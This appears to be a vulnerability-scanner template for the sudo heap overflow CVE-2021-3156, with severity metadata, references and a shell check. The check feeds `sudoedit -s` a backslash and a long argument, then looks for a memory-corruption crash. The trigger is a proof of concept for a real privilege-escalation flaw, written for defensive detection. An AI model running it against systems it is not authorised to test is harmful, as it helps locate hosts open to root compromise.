id: CVE-2021-3156 info: name: Sudo Baron Samedit - Local Privilege Escalation author: pussycat0x severity: high description: | Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character. reference: - https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435 - https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit - https://infosecwriteups.com/baron-samedit-cve-2021-3156-tryhackme-76d7dedc3cff - http://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html - http://packetstormsecurity.com/files/176932/glibc-syslog-Heap-Based-Buffer-Overflow.html classification: cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.8 cve-id: CVE-2021-3156 cwe-id: CWE-193 epss-score: 0.97085 epss-percentile: 0.99757 cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:* metadata: verified: true vendor: sudo_project product: sudo tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev self-contained: true code: - engine: - sh - bash source: | sudoedit -s '\' $(python3 -c 'print("A"*1000)') matchers: - type: word words: - "malloc(): memory corruption" - "Aborted (core dumped)" condition: and # digest: 4a0a0047304502204de6d29ee97c296f1046225fd664237cb80c163370f316bfa2c0174718fa0654022100cbd49f46b75314934af75dde946dbe4a3d135d87368f2dead3b9b2fa40bb839b:922c64590222798bb761d5b6d8e72950